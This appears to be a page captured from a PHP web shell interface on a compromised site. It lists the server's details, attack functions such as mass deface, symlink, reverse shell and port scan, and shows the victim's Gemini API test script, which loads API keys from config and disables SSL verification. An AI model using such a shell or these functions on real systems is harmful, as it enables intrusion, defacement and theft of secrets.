Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
progressgym
/
modules
/
skills
/
Viewing: test_gemini.php
<?php $keys = [ 'GOOGLE_NEW_KEY', 'GOOGLE_GEMINI_API_KEY_SKILLS', 'GOOGLE_GEMINI_API_KEY_ROADMAP', 'GOOGLE_GEMINI_API_KEY', ]; $apiKey = ''; require_once __DIR__ . '/../../config/openrouter.php'; // or whatever foreach ($keys as $name) { $val = getenv($name) ?: (defined($name) ? constant($name) : ''); if (!empty($val)) { $apiKey = $val; break; } } if (!$apiKey) { // maybe try to read from system? $env = file_get_contents('../../config/openrouter.php'); if (preg_match("/define\('GOOGLE_NEW_KEY',\s*'([^']+)'/", $env, $m)) { $apiKey = $m[1]; } else if (preg_match("/define\('GOOGLE_GEMINI_API_KEY_SKILLS',\s*'([^']+)'/", $env, $m)) { $apiKey = $m[1]; } } $model = 'gemini-2.5-pro'; $payload = [ "contents" => [["role" => "user", "parts" => [["text" => "hi"]]]], "tools" => [ ["googleSearch" => new \stdClass()], ["codeExecution" => new \stdClass()] ], "generationConfig" => [ "temperature" => 0, "thinkingConfig" => [ "type" => "thinking", "thinkingSummaries" => true, "collaborativePlanning" => true, "visualization" => false ] ] ]; $ch = curl_init("https://generativelanguage.googleapis.com/v1beta/models/{$model}:generateContent?key={$apiKey}"); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_HTTPHEADER => ['Content-Type: application/json'], CURLOPT_POSTFIELDS => json_encode($payload), CURLOPT_SSL_VERIFYPEER => false, ]); $res = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); echo "CODE: $code\n"; $arr = json_decode($res, true); if (isset($arr['error'])) { echo "ERROR: " . $arr['error']['message'] . "\n"; } else { echo "SUCCESS\n"; }
Coded With 💗 by
0x6ick